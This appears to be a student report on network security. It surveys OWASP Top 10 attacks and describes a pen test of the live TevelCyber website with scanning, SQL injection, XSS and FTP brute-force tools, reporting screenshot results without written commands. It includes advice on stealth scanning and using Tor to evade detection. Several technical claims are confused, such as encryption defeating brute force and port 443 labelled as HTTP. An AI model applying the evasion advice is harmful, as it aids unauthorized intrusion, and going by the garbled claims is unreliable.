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Abstract—Information security has become one the fundamental aspects within the world of computing.  The preceding process of creating a network infrastructure comes with designing and planning as well as implementing efficient security policies and practices to ensure sufficient integrity. Unauthorized access is becoming a huge critical aspects of securing networks due the increase amount information that can be acquired through the internet. The number of threats and attacks that can target organizations through insecure devices and programming errors has increased which equites to disastrous outcomes such as Denial of Service attacks, Buffer Overflow, SQL Injection.
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INTRODUCTION
T
HIS paper will focus on the fundamental aspects of Network Security and it’s underlying principles of data integrity to protect networks and data.  Computer security has become a widespread subject to investigate due to the rise of malicious attacks on targeted organization’s networks. The concept of security is at the focal point of every network infrastructure due to its data protection demands and laws, as there is an increase in internet growth, the growth of vulnerabilities will also grow, therefore the requirement of Network Security practices will need to be adopted by organizations to avoid exploitation and data breaches[1][1], [2].

Network Security
Security has become a challenging factor when creating a network where it be for an organization or an individual. Due to the risks increasing by hackers attempting to gain prohibited access through various methods. Network security becomes essential when planning and designing an infrastructure for a network, this is due to the fact that is provides the essential practices and protects against unauthorized breaches in organization’s network[3]. According to SANS Institute, Network security is defined as “the process of taking physical and software preventative measures to protect the underlying networking infrastructure from unauthorized access, misuse, malfunction, modification, destruction, or improper disclosure, thereby creating a secure platform for computers, users and programs to perform their permitted critical functions within a secure environment”[4].

Penetration Testing
The author produces a technical report based on the practical development needed to carry out on the designated website of Tevel Corps, in order for this to occur, the author carries out a practical pen testing using simulated tools designed to discover vulnerabilities. Penetration testing is a technological advancement towards ethical hacking in the sense that it provides the essential steps to mitigate computer systems security threats. The user intended to carry out a pen test will take the role of a hacker with an ethical hacking mind to exploit a network to discover any vulnerabilities it may possess[5], [6].

Black & Gray Box Testing
There have been various methods of analyzing the integrity of networks and systems over the years from network scanning to application security tests. Black box testing is a method of vulnerability testing which uses no specific parameters to carry out testing against a given network or system. Similar to other methods of testing, it allows the user to gather information from the intended target based on web application testing, this can be used to discover further exploits. The technology uses crawling which is a software programmed to virtually crawl on a target application to gather data from it in the intended means. The black box tester may take the role of a uniformed hacker, this in turn, allows the user to discover potential vulnerabilities which an attacker may go for[7]–[9].

The next stage following a black box testing to known as a gray box testing. This is a formulated procedure where the attacker has already acquired some level of access to the intended network or system and attains an increased amount of knowledge than a black box tester. Usually the gray box tester has acquired the knowledge of the internal network as well as the outside in terms of DNS information, IP address scheme and overall possible design of the layout of the network infrastructure. This provides an addition to acquiring more information than a black box tester to evaluate the security of the system[10]–[12].

The white box testing refers to the full process of possessing both the capabilities of the black box and gray box testing, this in turn, provides the user with the full knowledge of the vulnerabilities but also the tester is able to further discover any exploit that may be occur, the user is provided with all the information in which the tester has to go through to find the full weaknesses of the system. Because it provides the user with the full potential internal and external vulnerabilities, the white box testing proves to exist as the best choice of testing, however, the process may be time consuming[10], [13], [14].

Scanning the network, this may be referred to as port scanning, this can discover if ports are open closed or filtered. The administrator can filter the ports if opened and discover if the correct ports are allowed the secured network services. Vulnerability assessments may be carried to discover potential weaknesses in the system. Ethical hacking appears to be the most efficient method of carrying out a vulnerability test on a network or system; this is due to the various tools and mechanisms available to carry out the tests. In ethical hacking, Penetration Testing can be used to discover if a network in vulnerable to malicious attacks. The broad use of penetration testing can allow a user to test against web application services, user endpoints, wireless systems and network services. The tools can however appear broad due to the platform supporting the tools, password cracking also appears to become a wide used attack which can break a high level system if a user credential was leaked and discovered. 

Authentication
The process of securing each entity of physical and logical data has become essential in information security. The term authentication plays an important role within Network Security, this allows organizations to maintain a standard of confidential security practices, which in turn enables the network to remain secure and only allowing authenticated user’s access. Authentication is seen as the most vital aspect of securing a system as a first and possibly the last defense mechanism. A password based mechanism is still the highly adopted type of authentication used for securing networks, this is because the method of passwords can be memorized quite efficiently and used on a daily basis[15]–[17]. 

Threats and Attacks Including OWASP Top 10 Attacks (2017/18)
Malware
There is a vast amount of threats and attacks, which have occurred overtime, these type of attacks, can render a computer system or network unavailable. The type of attacks is known as malware or malicious software. There are various forms of malware such as viruses, worms Trojans etc. which the author explains further into the report. Malware can be harmful to organizations as they can steal sensitive data, attempt data modification, spoof on a target system or user to gain unauthorized access[18]. Unfortunately, there are various ways which malware can spread such as through local access by hackers physically accessing a victim’s machine, although this method is less likely due to the availability over the internet, it is much easier to send malicious software through the web such as in the form of Phishing or through mobile attacks using SMS attacks[19].

Eavesdropping
In addition to malicious software, an attack that takes form as a passive attack can be known as eavesdropping. This type of attack relates to spoofing as a hacker attempt to intercept a target system/network. By this attack, a hacker acquires sensitive information such as bank account details, passwords or traffic that is sent across the network[20]. Although this appears to be a passive attack, the severity of eavesdropping has evolved to become an active attack whereby the hacker can practically steal the information that is intended, while disguising themselves as a known user. The next logical step of intercepting confidential data would be to practically alter it to an attacker’s means; this may be known as Data Modification, this in turn changes from a passive attack to an active attack in relation to access-control based attacks. A strong encryption mechanism is prescribed to be implemented to counter these attacks[21][22]–[24].

Ransomware
As mentioned previously the severity of malicious software that may comprise systems, a dangerous and overlooked malware known as ransomware has become quite overwhelming when installed on victim’s machine. Similar to a computer virus, this type of malware will infect the whole computer system and render it useless and demand a ransom from the user hence the name, the ransomware will demand a payment usually in currency for the user to pay to regain access to the systems[25]. There has been various infectious ransomware over the years which have been reported to cause disastrous damage, one of which was known as WannaCry, where the windows computers were infected with malicious software embedded into the hard disk, this restricted the access to the files demanding a ransom of $300 in bitcoin[26]. The organizations leading the attack have managed to gain up to $300 million in revenue, which defines the severity of the ransomware attacks. Another recorded ransomware was known as CrypoLocker, which was a ransomware Trojan that utilized botnets and managed to infect thousands of computers through windows and email attachments and also encrypt files using the algorithm known as RSA 2048-bit encryption[27]. Similar to the WannaCry attack the victims had to pay $300 ransom to gain a password to decrypt, although this ransomware has subsided, the dangers of ransomware still lurk around.

Virus
The most common malicious software which appears to the general public is the Virus. This type of malware was designed to infect a victim’s machine and spread from one to another. The virus once installed and infected a machine, has the capabilities to corrupt the data and cause contagious damage. In order for a virus to run, it would require a victim to download the attached files which would not be known to the user as a virus for example, a user may open an email which they did not expect to receive which in turn would include the executable malicious code within the attachment, therefore the virus is able to replicate into the victim’s system and inflict damage[28]–[30].

Denial of Service & Distributed Denial of Service
An attack which exists to appear as the most common high level attack is known as Denial of Service (DoS). This type of attack attempts to render target systems inaccessible, the types of targets can range from machines, services and other end devices. The hacker prepares to flood a target system/network with more traffic than it can handle, this produces overwhelming traffic for the servers to handle, therefore the system becomes unusable leaving the target vulnerable to attempt further attacks. By attempting to flood the server with invalid addresses, the server will remain busy until the connection closes. A DoS attack can cause issues from services being down, thus inaccessible and interference with connection. The severity of a DoS attack has prevailed over the years to become a Distributed Denial of Service (DDoS) attack. If a DoS attack could slow down network traffic, if a target was hit with a DDoS attack, it could render a service impossible to access. This type of attack gains a much bigger wide spectrum than a regular denial of service attack. The level of attack this can cause would be able to cause as much damage as a user can think such as bring an entire business down due to all its services being overwhelmed with abnormal traffic[31]–[33].

Man-in-The-Middle
Another attack which exists to appear as a high level threat in computer security is the Man-in-the-Middle attack (MiTM). This type of attack plays a common malicious purpose with spoofing attacks, in the sense that the attacker intercepts the communication between two points. The process of MiTM attack requires the attackers to act as a legitimate user to both end points of the connection in order become a valid host, upon success, the attacker may passively send and receive data that was directed at a legitimate host or intended attacks relating to spoofing attacks. A MiTM attacks uses the same concept as an eavesdropping attack and session hijacking in terms of interception, use exploitation techniques to gain real time data transfer transactions between server and client. There are various situations where a process involving any transaction may be intercepted without knowledge of the user such as bank transfers, cryptographic key exchange and login credentials. The severity seems to be quite troublesome because a hacker that has gained access has practically bypassed authentication on both end, which suggests that Transport Layer Security is weak or authentication is not configured correctly on each end, a valid certificate authority needs to be implemented[34]–[37].

SQL Injection
In addition to the various attacks sent across the internet, the severity of this situation has increased to become complex in terms of code and other aspects such as the quality of the attack. This code based attack known as SQL (Structured Query Language) injection uses its arbitrary language to inject SQL into web application such as databases. SQL may be regarded as a programming language although a weak one. As a low level language, an SQL attack can cause substantial damage such as gain complete control over a targeted database, this will provide the attacker with abilities to create, modify and delete as they please. SQL injection remains of the top ten list of the OWASP list of high level threats towards to application security. As databases utilize SQL statements, an injection could possibly alter these statements assuming the SQL statements are incorrectly configured. Due to common misconfigured code within the SQL statements, the various types of SQL injection have surfaced from authentication bypass to compromising data integrity to exploit the database web application[38]–[40]. 

There are three main categories of SQL Injection, these are known as In-Band SQLi, Inferential SQLi and Out-of-Band SQLi. The idea of the In-Band SQLi is the most widely used method of an easy exploit of the SQL attacks. This attack occurs within the same communication channel as the victim to obtain the data. Within the In-Band injections, there are another two common types of methods known as Error-based and Union-based SQLi. From the name the author can gather that the method of sending a query to the database server which in result will produce error messages, this way the attacker can gain some knowledge of the infrastructure of the database. As the limitation to the data received, in some cases the integrity of the database server may not be as secure as it should be, therefore the error messages the attacker may receive may practically be given the enumeration of that server. In correct practice the database server should not be active at all for error based side or should be allocated to another offsite restricted location. Union –based SQL injection relies on the idea of using additional SQL queries for the purpose of malicious modification, insertion and deletion of contents[41], [42].

Inferential SQLi otherwise known as Blind SQLi works slightly different from In-Band SQL in the sense of malicious injection. From the name the author gathers that the attack itself does not provide the end result information to the attacker when executed and no information is transferred through the web application platform. In the event of this injection the attacker may modernize the database server by sending actual data such as payloads, which in turn allowed the surveillance of the web application platform intended to attack to recover any response. The two types of Inferential SQLi types are Boolean-based/Content-based and Time-based Blind SQLi. From the name Boolean, the viewer can gather that the statements are either true or false, therefore the injection technique used here relies on the sending of SQL query to the server, which in turn impels the platform to return a non-identical information in relation to the query type. In this scenario, attackers aim to attain correct queries and not incorrect queries which does not return any information. In terms of a Time-based SQLi, the attacker attempts to send an SQL query based on a response timer, this means the database remains idle and will respond after a specific time before returning information. An attacker may observe the time delay for the database server however, the process may be time consuming[43], [44].

The last injection type in in relation to SQL types is the Out-of-band SQLi. Although not the most common type due to the process and intent. An attacker in this scenario cannot use the same communication channel as the database server, in most cases the database server would require specific features to be used depending on the attacker’s intent. This may be an alternative SQLi instead of Inferential injection, especially of the results become unreliable, therefore rendering the inferential statement gathering undependable.

There are various ways to practically prevent these SQL injections so organization can provide maximum security towards the clients. One of the common types of prevention in relation to web based protection is a Web Application Firewall (WAF), this works in a similar way to a regular firewall in the sense of protected an application from malicious data. A correctly configured WAF will provide maximum protection for securing a web application, therefore a WAF may be referred to as a layer 7 firewall due to being on the application layer of the OSI model. One of the most common WAF is called ModSecurity, this is appearing to be available for certain enabled web servers, it provides an elaborate type of filtration of malicious data and aid in the process of preventing SQL attacks. The most discussed prevention method would be to implement parameterized queries and reliable API’s, not only does this aid in executing the query intended but also the prevention of any possible SQL injection. Another method of prevention which is widely adopted is the implementation of Input validation/Whitelisting, this is the concept of validating the data input supplied for a user or application in relation to transmission of SQL statements[42], [45].

Cross-Site Scripting (XSS)
Another form of web application attack which utilizes code injection for malicious intent, similar to SQL injection, this attack is known as Cross-Site Scripting (XSS), this attack uses injection to manipulate and attempt to implement malicious code in the script on the browser side as opposed to the server side, therefore gaining a more targeted approach. The attack attempts to exploit a website in which the victim has accessed, this will appear legitimate to the user if correctly executed. Upon successful XSS attacks an attacker can utilize many functions to steal or manipulate data, such as cookie theft to extract personal data, key logging mechanisms to capture confidential information such as bank card details, phishing exploits to trick the user into entering sensitive information into an illegitimate web form, therefore all these captures can be sent to the attackers own server assuming the intent of the attack[46]–[48].

Organizations should take proper measures to secure the web applications to avoid injection and attacks of Cross-Site Scripting to prevent any possible exploit into a web server. A method of prevention known as Content Security Policy (CSP) is an aid to detection of XSS, in the sense of implemented another layer of security that could thwart XSS attacks as well as other injection related attacks. An administrator should correctly configure this implementation for the web servers used to enable CSP. This is particularly useful for user generated content assuming it is not plain text, for more complex user generated content of HTML, proper configuration needs to be active to block unusual activity such as external scripts not on the same communication channel. Overall the policy should cover all the possible violations that could potentially harm the hosted web applications and servers.
Broken Authentication
The emphasis of authentication practices has been praised to a standard of common security measures. The type of authentication that allows authenticated users access to resources, these measures need correct security methods allowed to ensure confidential and integrity management. Broken authentication and session management falls within the OWASP top 10 attacks, allows unauthorized access to data, these type of vulnerabilities can cause catastrophic damage to information security. These weaknesses permit attackers to bypass security measures within the web application platform to gain the privileges of an authorized user. There could be various weaknesses for this to occur such as login credentials being too predictable. Session ID being exposed can lead to session hijacking attacks, or session timeout was not set correctly, therefore a point of attack can provide an attacker within an attempt to gain access between client and server. Another common weakness of sessions management is the transmission of data being sent across unencrypted connections[49]–[51]. 

Some examples of this could be URL rewriting in which a user may implement the session ID within the script, although this may benefit the URL discovery, the downfall is that the session ID is exposed, therefore an attacker may gain access to that session by simple means, instead it is best practice to disable this altogether to avoid exploits. The drawback of incorrect configuration of session timeout can leave a browser active with an authenticated user not using proper measures of logging out, therefore this can lead to session hijacking without any means of using attacks. Another example of broken authentication is passwords not being correctly encrypted, in this scenario a user database can be incorrectly configured to not allow passwords to be hashed or salted, this can lead to an attacker gaining access to that storage of user passwords, it is best practice in cryptography to implement salts for passwords to be hashed to avoid any exposed passwords.

Sensitive Data Exposure
Sensitive data exposure otherwise known as a data breach is a cyber-threat according to the OWASP standard. There have been many instances where organizations do not properly protect the application platform that is utilized, in turn this enables attackers to gain access to sensitive information such as personal details, bank account details and attempt further attacks based on the sensitive information gathered. The attacks vectors can range from the attackers attempting to exploit the server to gain information using passive and active based attacks such as Man in the Middle attack. The reason for exposure relates to weak cryptographic measures such as key management and algorithms, various organization do not take proper measures in relation to encryption due to the complexity perhaps, the result of this leads to ease of data capture and data breaches. Data that is stored retains a much bigger security than data in transmission, this would be easy for an attacker to gain[51], [52].

Some examples of sensitive data being breached is the idea of stealing credit card information from a user, this may be due to unencrypted database storage of data that is implemented with an automated encryption. As a result of this, the data may be decrypted and left open for SQL injection attacks which the attacker can view in plain text. In another scenario, in an attempt attack a website, a user may have implemented weak Transport Layer Security/Secure Socket Layer (TLS/SSL) throughout the page or may not possess any in worst cases, this may lead to a page being exposed to threats and attacks to the HTTPS protocol, this in turn allows an attacker to steal session information and intercept requests and use this to an advantage to gain unauthorized access. Other than accessing this data, an attacker may divert the data transmission towards another destination instead of accessing the same information as an authorized user. Similar to the broken authentication concept, the passwords storage database may not be encrypted with any mechanism such as salting or hash function, as a result an attacker can use a simple rainbow table to gain these hashes, in some cases the hashes can be exposed by brute force using Graphics Process Units (GPU’s) whether salted or not.

Fortunately, there are various ways to go about preventing these vulnerabilities. Foremost, organisations should sort the data into the type of classification it belongs to, this way a user may view data that is sensitive and which data is not, this provides control over what to access and process. Retaining data has become a problem due to theft, organisations should not store unnecessary information that may abide by sensitive data standards, of course this data that is not stored may not be stolen as it is there no longer. In terms of data stored or at rest should be retained with maximum encryption, this way up-to-date security measures and algorithms with proper key management are protecting the data. Organization should utilize strong cryptographic key protocols such as Perfect Forward Secrecy (PFS) for data in transmission for maximum assurance that keys will not be compromised even if exposed.

XML External Entities (XXE)
Furthermore, the various attacks mentioned in the OWASP top 10 attacks mentions an attack referred to as XML Eternal Entity attack. Similar to a Server-side Request Forgery (SSRF) attack, an attacker attempts to gain access to internal network services and files through exhausting the application server by Denial of Service attack, in result an attacker may corrupt the XML parsers which can exploit XML enabled processors. Because of the vulnerable exploits into the XML processors, attackers are able to perform internal system scans, send and receive remote request to a designated server and perform further attacks, this can be quite impactful to organisations. The applications used in relation to accepting XML uploads may allow attackers to write corrupt data into XML documents.  As a result of being exposed to XXE attack vectors, an attacker can carry out XML Bomb attacks which is a type of Denial of Service which targets XML parsers[53]–[55].

One of the most common ways to avoid XXE attacks is to disable the External Entities altogether, it may provide assurance to secure the XML parsers to avoid XML Bomb and Denial of Service attack. If, however the external entities cannot be disabled completely, it is best practice to define the parsers in a certain way that is specific to each parser. Organization should program a used a web server to run permissions it requires in relation to the entities required to process, this also restrict access to specific locations in the XML directories or libraries. The use of some code language can disable these features of XML usage such as Python, Ruby, Java and C#.

Broken Access Control
Access control plays an important role within information security due to its underlying principles of data confidentiality and integrity. The concept of access control grants web application the ability to provides user with certain authorized access and control to company resources and files and restrict access to certain content to other users. The broken access control concept discusses the topics of access control, which could produce exploits towards a company website. The issues with broken access control usually results from improper regulation for data that has expanded, as a result the regulations are implemented later on instead of focusing on access control prior to development, this in turn, produces a complexity of issues in relation to authorized access and vulnerabilities. This attack can be quite impactful depending on the steps taken to gain access to secure applications, therefore can be anything from gaining access public information available to everyone or attaining access to a company system or machine[56], [57].

Access control attacks are one of the widespread exploits towards organizations systems and resources. There are various prevention methods to counter these web application attacks such as running Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST), these tools utilize automated and manual web application testing to search for vulnerabilities. Some of the names of well-known tools that are used in this process of vulnerability detection are Acunetix, AppScan by IBM, Burp Suite, Nessus, Nikto, Zed Attack Proxy and many other tools. These tools are useful and scales well to discover vulnerabilities against XSS and SQL Injection. The issues of broken access control stems from the lack of proper functioning of application testing, although automated testing may provide various strengths, it is best practice by OWASP to run manual testing to maximize secure access control.

Security Misconfigurations
The flaw of misconfiguration within organizations application framework has become an issue due to the exposed areas left within the application platform. The type of security misconfigurations can lead impactful effects such as leaving debugging enabled, misconfigured file/folder permissions, default accounts being active and setup pages remain open, as a result of this, attackers can attempt to again access within the system and comprise as intended. Attackers can use these exploits to unpatched flaws to access user account and unprotected files and resources. Due to the severity of security misconfiguration, an attacker may attempt to access any part of the application stack including the framework, the applications and services used and directories. Although the application stack persists with hardening security configurations, any flaw within the stack can still be compromised by attackers[58], [59].

An example of security misconfiguration could be being the applications that are run on the server might not have been managed or control correctly, which in turn, comes with security flaws that attackers can use to gain access to and compromise the targeted server, as well retaining admin privileges and default account and passwords, attackers may use these exposed accounts to carry out further exploits. Other vulnerabilities can be discovered through the directory listing where an attacker can decompile the code in the listing to find serious security flaws in the access control. Information may be returned to a user where a request is sent in relation to the server’s configuration that permits error messages, these message may contain sensitive information, therefore it is a vulnerability on the server side. It is best practice to implement proper automated processing to check integrity of the configurations through the platform. By segmenting the application layout, a user may find more mobility for security testing due to separating the architecture into various areas within an environment.

Insecure Deserialization
Web application have been vulnerable to various attacks from injection attacks to server side attacks. The information sent across from a server in the form of an object to retain persistence to another area such as a database is called serialization, it retains the integrity of that stream of data, the opposite effect of turning that data back into the original object is the process of deserialization. The way this relates to web application vulnerabilities is that the stream of data within the objects may carry untrusted input, this object being serialized suggests that an attacker may have access to this stream of data in transit as discover the attack vectors to launch attacks against the web applications, this is known as remote code execution. The abuse of the application logic may provide the attacker with the ability to rearrange PHP forums to gain access to private data such as passwords that may not be hashed properly.

The main solution of this attack is that organization that utilized serialization and deserialization should only accept trusted objects and neglect untrusted objects. Even if the data is trusted, there may be still exploits such as data tampering if the objects are not correctly hashed, the possibility to implement digital signatures on the serialized objects means ensure the integrity of the objects. Monitoring and restricting certain incoming and outgoing traffic which is meant for deserialization should be properly monitored and looked after to view any anomalies and send alerts[53].

Using Components with Known Vulnerabilities
Attackers enjoy the effort of discovering vulnerabilities for intended systems, if the vulnerability is known, it provides an attacker with an easy operation. Components such as framework and libraries from open source directories can possess possible vulnerabilities which can be disastrous to applications. If an exposed component is compromised, this in turn, allows attackers to gain influence over the intended application and cause serious data loss to users or even the organization. Although it is easy to exploits known vulnerabilities, it does require moderate effort to discover other exploits that may be intended for the same target, by using components for these exploits, an attacker can carry out other methods of attacks such as injection attacks and XSS[53].

Due to the high risk the exploits results in, organizations should take proper measures to control the component driven environment to analyze the usage of the components utilized in the Application Programming Interface (API), otherwise the understanding of the known vulnerabilities for each component can become quite complex. The impact may result in minor exploits and attacks, however, the largest impactful exploits have emerged from these minor vulnerabilities. An example of this scenario exists as the components that are used possess the same type of access control as the running application, as a results of this, the application itself being exposed to any vulnerabilities that the components faces, whether it is an error in the code execution or other exploits, the end result becomes a breach. There are various means of prevention where the key factor resides in patch management, organizations should take a selective approach to decide on the legitimate components used. There should be a heavy consideration on the monitoring of the components used to analyze any abnormal behavior, this way it would be possible to discover any vulnerabilities. A legitimate component would mean that it is acquired from an official application especially through an encrypted link to avoid any malicious or modified component.

Insufficient Logging and Monitoring
According to the OWASP top 10 attacks, the lack of insufficient logging and monitoring has lead organizations compromised by allowing attackers into the system through either internal links of external parties, as a result this has lead attackers to tamper data, comprised system structure and steal intended sensitive information. Attackers can use this exploit because it is known that monitoring is either not used at all or is rarely used at the right period for the relative application, this in turn, gives hackers an undetected presence to achieve further exploits. A simple breach can occur from a software application flaw due to lack of logging and monitoring on the internal side[53], [60].

Several prevention methods can counter some of these exploits such as creating a central management pane where all logs and monitoring mechanisms are sent to by alerts, by providing sufficient validation for the integrity checks using auditing trails to counter deletion or modification of these logs. Assuming a strong mechanism for detection is implemented a user could analyse any possible anomalies in quick time in relation to incident response management.

Design
[bookmark: _Hlk530935248]The author was instructed to visually create a conceptual outline of the intended network, which would briefly analyze the hierarchal structure of the network infrastructure. In this section the author demonstrates the process in which a penetration test may occur by providing illustration of the layout. The network intended to attack is given the name of TevelCyber, due to the network layout being unknown, in the sense of the servers and applications used; therefore the author provides a predictive measures of the infrastructure. While discovering the various network layout, the process required learning of the different services used within the organization, therefore scanning the network based of the URL given; this in turn will provide any transforms of the services. This is done to produce a clear outline of the entire infrastructure. The tools used will be mentioned in the implementation.

Contingency Policy
The author was instructed to devise a detailed contingency plan, which is also referred to as an incident response planning in relation to mitigating security threats towards an organization. Without proper planning, a company may not know what actions to take if any systems are compromised. The main concept within contingency planning refers to the management and response of vulnerabilities and risk. It includes the procedure to implements reliable policies and planning which is necessary to mitigate and recover from a loss. It is recommended for organizations to implement the polices of the Security Threat, Risk and Vulnerability Assessment (TRVA), it is known to be one of the most essential components of risk management. There are various benefits to following a sound structure of planning in advance to avoid impactful crisis, it may allow the organization to gain an insight into up-to-date security policies and practices as well as countermeasures and solutions. Of course the risk that may occur will result in a loss, however, with mindful planning, it is possible to minimize the loss as much as possible.

There are various steps within the contingency planning that can set a detailed plan for organizations to follow. The primary step would be to development a statement policy, an approved policy which provides the official guidelines to produce a contingency policy. To develop a systematic approach using the Business Impact Analysis (BIA) to aid in classifying the essential systems and mechanisms used to enhance organisational ethics. Identifying preventive countermeasures to limit the effects of system failures and reduce overall cost. Effective planning of strategic management ensure that the system is able to recover as quick as possible after a possible failure, including the relative security threats that may occur. Planning and physical testing is relatively important to reduce the risk of exposure and increase the level of recovery strategies, organizations should provide the employees with training and development so overall effectiveness of security is enhanced. Of course with all the procedures involved within the contingency plan should be maintained and updated regularly with patches and system changes.

Penetration Testing Framework
It has become a common practice for organizations to create a penetration framework for automated or manual penetration testing, this is due to the lack of understanding of the exploits that may occur towards intended systems. Despite the common vulnerabilities which hackers target, it is nearly impossible to patch everything that attackers can use as a target. Although the existing and known penetration testing frameworks provide sufficient information to test against security services, the severity of attacks is always changing, therefore the primary step to conduct a pen test is to acquire the role of a hacker, this is turn, displays the available and intended sensitive information that can be stolen or accessed.

The author was instructed to provide the viewer with a choice of penetration framework that is suitable to follow in relation to performing attacks and tests towards the intended the target, the process and framework the author intends to use is known as the ‘Kill Chain’;
· Identify the target – Passive Reconnaissance
This type of attack is conducted prior to the actual test to attack the intended target. This is not a direct scan towards the actual target but only to gain sufficient information to allow further discovery of the network/system, this in turn, leads to the active reconnaissance attack where the attacker initially engages the system. The hacker intends to discover as much information about the company as possible.

· Identify the target – Active Reconnaissance
In this scenario, the attacker moves from a passive to an active scan which involves interaction with the company. A hacker may engage the system to acquire sufficient information to discover vulnerabilities. This type of method can scan for active hosts and directories using automated tools. The type of information could be components such as DNS records, IP addresses and ports associated with the target system.

· Scan the target – Active Reconnaissance & Vulnerability Scanning
Gathering the company information, the attacker moves to an active approach to gain further information to carry out an exploit. By carrying out a simple passive scan, an attacker can view various relative information without having to attack the network. Because of the active scans, a company which possesses strong security mechanism may be aware of the attacker that is trying to attain access to the company by locating the IP address. As a result of this, the framework suggests to utilize stealth scanning strategies to remain undetected by hiding signatures. In specific attacks, the hacker can attempt to mimic actual legitimate traffic to avoid the target discovering any abnormal transmission of data.

· Scan the target – Modifying Packet Parameters
The most used method of utilizing the active reconnaissance scan is to run a scan in relation to the information gathered, in this sense, the IP address. The attacker can identify the targets IP address by running tools such as NMAP. It is possible to use this tool based on root level privileges to automate the attack, however, to run a stealthy NMAP scan, an attacker can avoid detection by running certain commands found with the directory.

· Scan the target – Using proxies with Anonymity Networks (Tor & Privoxy)
The best method of scanning any network is to run an anonymous scan to remain as undetected as possible. Running third party application such as Tor may help in possessing an undetected presence by using an anonymous network of encrypted data transmission in encapsulated layers. Tor can be used with a web proxy called Privoxy which uses specific filtration to provide privacy. Although it provides benefits of privacy, it is not fully guaranteed to protect an attacker from DNS leaks as well as relative flaws within Tor patches.
Implementation
The fundamental aspect of this paper requires a demonstration of the Penetration testing that will conclude in the organizations website being exposed and outline the vulnerabilities that were discovered, this will prove that the website does carry risks even though an organization may claim the integrity and security of the network that is in place. There were various concerns that were taken into account before carrying out this penetration test, some of which were security issues which involved carefully considering the level of attack implemented, this is due to the fact that the organization is a live network, therefore any misuse would go against the organizations Security Policy and other policies created to disallow any misconduct on the network. The sole purpose of the penetration testing is to analyze and monitor traffic on the intended network infrastructure. 

In addition to performing any pen testing, an individual would most likely advance with an experienced Pen tester usually one that is certified, this way an organisation can rule out any concerns that may affect the organisation. In this case, as the pen test will be conducted from an academic perspective, the individual does not possess any certifications, therefore only possessing limited tools to carry out the pen test.

NMAP Scan
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NMAP has become an efficient tool for port scanning and host discovery. This tool is supposedly the most common used one due to the benefits it provides the user over traditional tools. It provides the efficiency of producing a diverse outlet of ports labelled as ‘Open, Closed, Filtered, Unfiltered, Open | Filtered, or Closed | Filtered’. Although this does not describe the scanned ports which are discovered, this is the view of that NMAP produces for the viewer.
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The author runs a comprehensive scan which provides the user with the ability to run all the options available to scan. The various services utilised here were ping scans, a ping scan allows the user to test the connection between a source and destination to view reachability. The comprehensive ping scan includes TCP, UDP, ICMP, IP and ARP scan. 
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The author runs a SYN scan which is known as a stealth scan, it is one of the most popular types of scanning which involves discovering thousands of ports while remaining undetected. It sometimes avoids poorly designed IDS/IPS.
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The screenshot above provides the viewer with the necessary scanning which involved discovering the services and application as well as OS detection. This is to discover if there are any application that are used by the company are open to vulnerabilities assuming the low integrity of the security.
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The above screenshots provide the user with the relative scans involving the advanced ports scan, which displays the security authenticity behind them, this in, turn display the key management system used, protocols, version and signatures. This is achieved by using GET requests to designated servers. The author also displays the output of the NMAP Scripting Engine.
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The screenshot above displays the number of ports discovered by the scan, including the protocols, state (whether the ports are open, closed and filtered), services associated and version type.
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This is the topology output that the scan illustrates.
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The above screenshot provides the user with the summary of the entire scan, stating the host discovery results, the address type used (IPv4), the scan was unable to find any IPv6 Fingerprinting. The operating system used discovered was Linux version 2.6.18 – 2.6.22 along with the accuracy information.

DNS Lookup Tool
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The author ran a simple DNS discovery scan/query to gather information about the intended target. In this scenario the author sends a request to the DNS server to gather any possible domain names or resolve any other names. In the case, the gathered result was called ‘ns8202.hostgator.com’/’ns8201.hostgator.com’ with the specified IP address of 192.185.39.52 and a successful reachability based on the ping.




Maltego Scanning Transforms
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The author utilising the open source tool known as Maltego, it is a visual illustration of a discovered topology scan. It produces a library of what is known as transform which was discovered through intelligence mining to display a graphical view of scanned entities.
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Censys
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The author here used another online tool known as Censys, this automated tool allows organisations to receive an overview of the possible exploits that can occur over the web. It was developed by security researchers to provide awareness of vulnerabilities. From the screenshot above, the viewer can see which services can be exposed such as the protocols used, the autonomous systems utilised and the certificate chain implemented.










SQLMAP Injection

[image: ]
The first active attack utilized here is known as an SQLi, the tool used was run in Kali Linux and is called SQLMAP. An amateur user can run this tool due to the simplicity of the software. The process involved sending a simple GET request query towards the HTTP protocol with customized parameters. 
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Because the first attempt did not discover any information, this suggested that the organization has carefully considered any possible SQL injection attacks by filtering the security of the web applications, usually on the web application firewall. By running another attempt as seen above, the information outputted is less than the first attempt to the filtered requests that are allowed.

Nikto Web Vulnerability Scanner
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The above screenshot illustrates another tool used for web vulnerability testing using a software called ‘Nikto’. It has the capabilities to scan web servers for dangerous components and misconfigured software and application. It was managed to discover the Server, IP address and protocol 443 (HTTP). Unfortunately, the scan was not able to discover the vulnerabilities that were needed such as cookie information, header information, directories or any PHP enabled login page.

SQL Injection D-Tect
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The above screenshot displays another attempt at SQLi using a different tool called D-Tect. The only information that was discovered was the basic information which is already discovered in the previous tool, the end result displays suggests that the server is not currently vulnerable to SQL injections.

D-Tect – XSS Testing
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The above screenshot shows the attack carried out called Cross Site Scripting which the author described within the research literature. Similar to the SQL injection attack, the tool conducts an injection based script towards a trusted web page. Unfortunately, the attack did not display any key information that was supposed to be acquired from an XSS attack due to the security of either the web application firewall or filtered XSS requests.

D – Tect Enumeration Testing
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The next web penetration testing the author carried out was an Enumeration test against the website. The testing is conducted against any page that requires a login where responses of usernames may appear. Judging by the above screenshot, the author was unable to gather the usernames that were in fact logged, instead the usernames appear as ‘tevelcyber’, this could mean that the usernames are correctly hashed with signatures to ensure maximum protection against web application exploits.   

D-Tect Subdomain Scan
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The above screenshot displays the output of the subdomain scan.

Uniscan Tool
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The tool used above in the screenshot is known as Uniscan tool. It is a vulnerability scanner targeting specific web application exploits such as Remote File Inclusions (RFI), Local File Inclusion (LFI) and Remote File Inclusion (RFI). The attempt here allows an attacker to gain access to these files and cause malicious code execution, this is due to the misconfigured validation on the user input side. Other vulnerabilities can lead DoS attacks, Sensitive Data Exposure and Cross-Site Scripting. The attack may search against directories and web server fingerprints as well as dynamic tests. The resulted output provides the viewer with an overview of the basic information found based on previous vulnerability checks, the information that was hidden appears as ‘error’ or ‘bad request’ due to the validation of the application security of the organization.

Brute Force FTP 
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The author provides the above screenshot which displays a manual testing of brute force against the FTP using the Metasploitable framework in Kali Linux, the application was run for a period of 22:55 hours as displayed above. 
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As a result of the FTP brute force, the author was not able to crack any passwords or discover any vulnerable exploits due to the strong encryption implemented in the web application firewall.

Online Penetration Tool
